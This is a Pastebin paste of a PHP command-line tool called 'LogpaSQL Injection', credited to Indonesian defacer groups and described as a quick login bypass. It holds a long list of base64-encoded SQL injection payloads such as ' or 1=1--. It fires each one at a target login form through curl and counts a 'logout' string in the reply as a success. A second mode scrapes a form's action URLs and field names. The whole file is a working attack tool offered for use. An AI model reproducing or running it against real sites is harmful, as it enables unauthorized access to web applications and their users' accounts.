ZasieuN

BF Bypass

Dec 2nd, 2016
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.90 KB | None | 0 0
  1. <?php
  2. /*
  3. @name : LogpaSQL Injection
  4. @author : Shor7cut
  5. @descript : Dengan tools ini kalian dapat melakukan bypass Login dengan cepat.
  6. @create : Sat, 11 Jun 2016 10:05 PM
  7. @Link : http://facebook.com/bug7sec
  8. @Spesial : Tuban Cyber Team , IndoXploit Coders Team & Indonesia Defacer Tersakiti
  9. @howto : https://www.facebook.com/bug7sec/videos/1043910189037406/
  10. */
  11. error_reporting(0);
  12. function login($url,$username,$password,$belakang){
  13. echo "[+]------------- INFO -------------\r\n";
  14. echo "[-> URL : ".$url."\r\n";
  15. echo "[-> Name : ".$username." / ".$password." \r\n[-> Start... Bypass login.\r\n";
  16. echo "[->\r\n";
  17. echo "[+]---------------------------------\r\n";
  18. $up = array('Jy0n' => 'Jy0n','JyAn' => 'JyAn','JyYn' => 'JyYn','J14n' => 'J14n','Jyon' => 'Jyon','JyBvciAnJy0n' => 'JyBvciAnJy0n','JyBvciAnJyAn' => 'JyBvciAnJyAn','JyBvciAnJyYn' => 'JyBvciAnJyYn','JyBvciAnJ14n' => 'JyBvciAnJ14n','JyBvciAnJyon' => 'JyBvciAnJyon','Ii0i' => 'Ii0i','IiAi' => 'IiAi','IiYi' => 'IiYi','Il4i' => 'Il4i','Iioi' => 'Iioi','IiBvciAiIi0i' => 'IiBvciAiIi0i','IiBvciAiIiAi' => 'IiBvciAiIiAi','IiBvciAiIiYi' => 'IiBvciAiIiYi','IiBvciAiIl4i' => 'IiBvciAiIl4i','IiBvciAiIioi' => 'IiBvciAiIioi','b3IgdHJ1ZS0t' => 'b3IgdHJ1ZS0t','IiBvciB0cnVlLS0=' => 'IiBvciB0cnVlLS0=', 'JyBvciB0cnVlLS0=' => 'JyBvciB0cnVlLS0=', 'Iikgb3IgdHJ1ZS0t' => 'Iikgb3IgdHJ1ZS0t', 'Jykgb3IgdHJ1ZS0t' => 'Jykgb3IgdHJ1ZS0t', 'JyBvciAneCc9J3g=' => 'JyBvciAneCc9J3g=', 'Jykgb3IgKCd4Jyk9KCd4' => 'Jykgb3IgKCd4Jyk9KCd4', 'JykpIG9yICgoJ3gnKSk9KCgneA==' => 'JykpIG9yICgoJ3gnKSk9KCgneA==', 'IiBvciAieCI9Ing=' => 'IiBvciAieCI9Ing=', 'Iikgb3IgKCJ4Iik9KCJ4' => 'Iikgb3IgKCJ4Iik9KCJ4', 'IikpIG9yICgoIngiKSk9KCgieA==' => 'IikpIG9yICgoIngiKSk9KCgieA==', 'MSdvcicxJz0nMQ==' => 'MSdvcicxJz0nMQ==', 'dG9t' => 'dG9t', 'dG9t' => '', 'MScgb3IgMT0xIC0tIC0=' => 'MScgb3IgMT0xIC0tIC0=', 'dG9t' => 'MScgb3IgMT0xIC0tIC0=','JyBvciAnMSc9JzE=' => 'JyBvciAnMSc9JzE=','JyBvciAneCc9J3g=' => 'JyBvciAneCc9J3g=','JyBvciAwPTAgLS0=' => 'JyBvciAwPTAgLS0=','IiBvciAwPTAgLS0=' => 'IiBvciAwPTAgLS0=','b3IgMD0wIC0t' => 'b3IgMD0wIC0t','JyBvciAwPTAgIw==' => 'JyBvciAwPTAgIw==','IiBvciAwPTAgIw==' => 'IiBvciAwPTAgIw==','b3IgMD0wICM=' => 'b3IgMD0wICM=', 'IiBvciAieCI9Ing=' => 'IiBvciAieCI9Ing=','Jykgb3IgKCd4Jz0neA==' => 'Jykgb3IgKCd4Jz0neA==','JyBvciAxPTEtLQ==' => 'JyBvciAxPTEtLQ==' ,'IiBvciAxPTEtLQ==' => 'IiBvciAxPTEtLQ==','b3IgMT0xLS0=' => 'b3IgMT0xLS0=','IiBvciAiYSI9ImE=' => 'IiBvciAiYSI9ImE=','Jykgb3IgKCdhJz0nYQ==' => 'Jykgb3IgKCdhJz0nYQ==','Iikgb3IgKCJhIj0iYQ==' => 'Iikgb3IgKCJhIj0iYQ==','aGkiIG9yICJhIj0iYQ==' => 'aGkiIG9yICJhIj0iYQ==','aGkiIG9yIDE9MSAtLQ==' => 'aGkiIG9yIDE9MSAtLQ==','aGknIG9yIDE9MSAtLQ==' => 'aGknIG9yIDE9MSAtLQ==','J29yJzE9MSc=' => 'J29yJzE9MSc=','PT0=' => 'PT0=','YW5kIDE9MS0t' => 'YW5kIDE9MS0t' ,'YW5kIDE9MQ==' => 'YW5kIDE9MQ==','JyBvciAnb25lJz0nb25lLS0=' => 'JyBvciAnb25lJz0nb25lLS0=','JyBvciAnb25lJz0nb25l' => 'JyBvciAnb25lJz0nb25l','JyBhbmQgJ29uZSc9J29uZQ==' => 'JyBhbmQgJ29uZSc9J29uZQ==','JyBhbmQgJ29uZSc9J29uZS0t' => 'JyBhbmQgJ29uZSc9J29uZS0t','MScpIGFuZCAnMSc9JzEtLQ==' => 'MScpIGFuZCAnMSc9JzEtLQ==','YWRtaW4nIC0t' => 'YWRtaW4nIC0t','YWRtaW4nICM=' => 'YWRtaW4nICM=','YWRtaW4nLyo=' => 'YWRtaW4nLyo=','b3IgMT0xLS0=' => 'b3IgMT0xLS0=','b3IgMT0xIw==' => 'b3IgMT0xIw==','b3IgMT0xLyo=' => 'b3IgMT0xLyo=','KSBvciAnMSc9JzEtLQ==' => 'KSBvciAnMSc9JzEtLQ==','KSBvciAoJzEnPScxLS0=' => 'KSBvciAoJzEnPScxLS0=','JyBvciAnMSc9JzE=' => 'JyBvciAnMSc9JzE=','JyBvciAneCc9J3g=' => 'JyBvciAneCc9J3g=','JyBvciAwPTAgLS0=' => 'JyBvciAwPTAgLS0=','IiBvciAwPTAgLS0=' => 'IiBvciAwPTAgLS0=','b3IgMD0wIC0t' => 'b3IgMD0wIC0t','JyBvciAwPTAgIw==' => 'JyBvciAwPTAgIw==','IiBvciAwPTAgIw==' => 'IiBvciAwPTAgIw==','b3IgMD0wICM=' => 'b3IgMD0wICM=','JyBvciAneCc9J3g=' => 'JyBvciAneCc9J3g=','IiBvciAieCI9Ing=' => 'IiBvciAieCI9Ing=','Jykgb3IgKCd4Jz0neA==' => 'Jykgb3IgKCd4Jz0neA==','JyBvciAxPTEtLQ==' => 'JyBvciAxPTEtLQ==','IiBvciAxPTEtLQ==' => 'IiBvciAxPTEtLQ==','b3IgMT0xLS0=' => 'b3IgMT0xLS0=','JyBvciBhPWEtLQ==' => 'JyBvciBhPWEtLQ==','IiBvciAiYSI9ImE=' => 'IiBvciAiYSI9ImE=','Jykgb3IgKCdhJz0nYQ==' => 'Jykgb3IgKCdhJz0nYQ==','Iikgb3IgKCJhIj0iYQ==' => 'Iikgb3IgKCJhIj0iYQ==','aGkiIG9yICJhIj0iYQ==' => 'aGkiIG9yICJhIj0iYQ==','aGkiIG9yIDE9MSAtLQ==' => 'aGkiIG9yIDE9MSAtLQ==','aGknIG9yIDE9MSAtLQ==' => 'aGknIG9yIDE9MSAtLQ==');
  19. foreach ($up as $key => $ve) {
  20. $ch = curl_init();
  21. curl_setopt($ch, CURLOPT_URL, $url);
  22. curl_setopt($ch, CURLOPT_HEADER, false);
  23. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");
  24. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  25. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  26. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  27. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  28. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  29. curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  30. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  31. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  32. curl_setopt($ch, CURLOPT_VERBOSE, false);
  33. curl_setopt($ch, CURLOPT_POST, true);
  34. curl_setopt($ch, CURLOPT_POSTFIELDS, $username."=".base64_decode($key)."&".$password."=".base64_decode($up[$key]).$belakang);
  35. $result = curl_exec($ch);
  36. //echo "[*] URL Login : ?".$username."=".base64_decode($key)."&".$password."=".base64_decode($up[$key]).$belakang"\r\n";
  37. if(sensiv($result)){
  38. echo "[+] Username : ".base64_decode($key)."\r\n[+] Password : ".base64_decode($up[$key])."\r\n\n";
  39. }else{
  40. echo "[-] Username : ".base64_decode($key)."\r\n[-] Password : ".base64_decode($up[$key])."\r\n\n";
  41. }
  42. }
  43. }
  44.  
  45. function sensiv($data){
  46. $true=0;
  47. $datas = array('logout','Logout','keluar','exit'
  48. );
  49. foreach ($datas as $key) {$re = "/".$key."/"; preg_match_all($re, $data, $matches);if($matches[0][0]){ $true++;}
  50. }
  51. if(!$true<=0){return true;
  52. }else{return false;
  53. }
  54. }
  55. function arguments($argv) {
  56. $_ARG = array();
  57. foreach ($argv as $arg) {
  58. if (ereg('--([^=]+)=(.*)',$arg,$reg)) {$_ARG[$reg[1]] = $reg[2];
  59. } elseif(ereg('-([a-zA-Z0-9])',$arg,$reg)) { $_ARG[$reg[1]] = 'true';}
  60.  
  61. }
  62. return $_ARG;
  63. }
  64.  
  65. function action($url){
  66. $str = file_get_contents($url);
  67. $re = "/action=\"(.*?)\"/"; preg_match_all($re, $str, $matches);
  68. $name = "/name=\"(.*?)\"/i"; preg_match_all($name, $str, $matchesName);
  69.  
  70. echo "\r\n\n/* --------- [ RESULT ] --------- \*\r\n";
  71. foreach ($matches[1] as $key => $urls) {
  72. echo "[URL] ".$urls."\r\n";
  73. }
  74. foreach ($matchesName[1] as $key => $names) {
  75. echo "[Name] ".$names."\r\n";
  76. }
  77. }
  78.  
  79. $cuk = arguments($argv);
  80. if($cuk['l']){
  81. if(isset($cuk['url']) && $cuk['name']){
  82. list($user, $pass , $belakang) = explode(",", $cuk['name']);
  83. login($cuk['url'],$user,$pass,$belakang);
  84. }
  85. }else if($cuk['n']){
  86. action($cuk['url']);
  87. }else if($cuk['h']){
  88. echo "\r\n\n/> php ".$argv[0]." -n --url=http://localhost/login.php\r\n";
  89. echo '/> php '.$argv[0].' -l --url=http://localhost/login.php --name="username","password" '."\r\n";
  90. echo '/> php '.$argv[0].' -l --url=http://localhost/login.php --name="username","password","&name=... (Optimal)" '."\r\n";
  91. }else{
  92. echo "\r\n\n";
  93. echo " ,--.!, LogpaSQL Injection\r\n";
  94. echo " __/ -*- v.1b01\r\n";
  95. echo " ,d08b. '|` \r\n";
  96. echo " 0088MM -h (for help) \r\n";
  97. echo " `9MMP' \r\n";
  98. echo " \r\n";
  99. }
  100.  
  101. ?>
Add Comment
Please, Sign In to add comment